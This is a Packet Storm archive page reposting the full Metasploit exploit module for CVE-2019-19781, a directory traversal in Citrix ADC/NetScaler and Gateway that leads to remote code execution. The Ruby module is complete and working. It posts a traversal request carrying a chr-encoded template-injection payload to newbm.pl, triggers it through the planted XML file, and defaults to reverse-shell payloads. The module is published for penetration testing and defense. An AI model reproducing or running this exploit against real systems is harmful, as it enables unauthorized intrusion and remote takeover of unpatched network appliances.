what you don't know can hurt you

Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution

Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution
Posted Jan 14, 2020
Authored by Ramella Sebastien, Project Zero India | Site metasploit.com

This Metasploit module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.

tags | exploit, arbitrary
advisories | CVE-2019-19781
MD5 | 4ddb7070438e963bf4a9bf8ddfe94f31

Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE',
'Description' => %q{
This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka
NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.
},
'Author' => [
'Project Zero India', 'TrustedSec', # PoCs
'mekhalleh (RAMELLA S├ębastien)' # Module (https://www.pirates.re/)
],
'References' => [
['CVE', '2019-19781'],
['EDB', '47901'],
['EDB', '47902'],
['URL', 'https://support.citrix.com/article/CTX267027/'],
['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/']
],
'DisclosureDate' => '2019-12-17',
'License' => MSF_LICENSE,
'Platform' => ['python', 'unix'],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Privileged' => false,
'Targets' => [
['Python',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python,
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
],
['Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_command,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal',
'HttpClientTimeout' => 3.5
},
'Notes' => {
'AKA' => ['Shitrix'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def cmd_unix_generic?
datastore['PAYLOAD'] == 'cmd/unix/generic'
end

def exploit
unless datastore['ForceExploit']
case check
when CheckCode::Vulnerable
print_good('The target appears to be vulnerable')
when CheckCode::Safe
fail_with(Failure::NotVulnerable, 'The target does not appear to be vulnerable')
else
fail_with(Failure::Unknown, 'The target vulnerability state is unknown')
end
end

print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
vprint_status("Generated payload: #{payload.encoded}")

case target['Type']
when :python
execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))
when :unix_command
if (res = execute_command(payload.encoded)) && cmd_unix_generic?
print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))
end
end
end

def execute_command(cmd, _opts = {})
filename = rand_text_alpha(8..42)
nonce = rand_text_alpha(8..42)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),
'headers' => {
'NSC_USER' => "../../../netscaler/portal/templates/#{filename}",
'NSC_NONCE' => nonce
},
'vars_post' => {
'url' => rand_text_alpha(8..42),
'title' => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"
}
)

unless res && res.code == 200
print_error('No response to POST newbm.pl request')
return
end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),
'headers' => {
'NSC_USER' => rand_text_alpha(8..42),
'NSC_NONCE' => nonce
},
'partial' => true
)

unless res && res.code == 200
print_warning("No response to GET #{filename}.xml request")
end

register_files_for_cleanup(
"/netscaler/portal/templates/#{filename}.xml",
"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"
)

res
end

def chr_payload(cmd)
cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close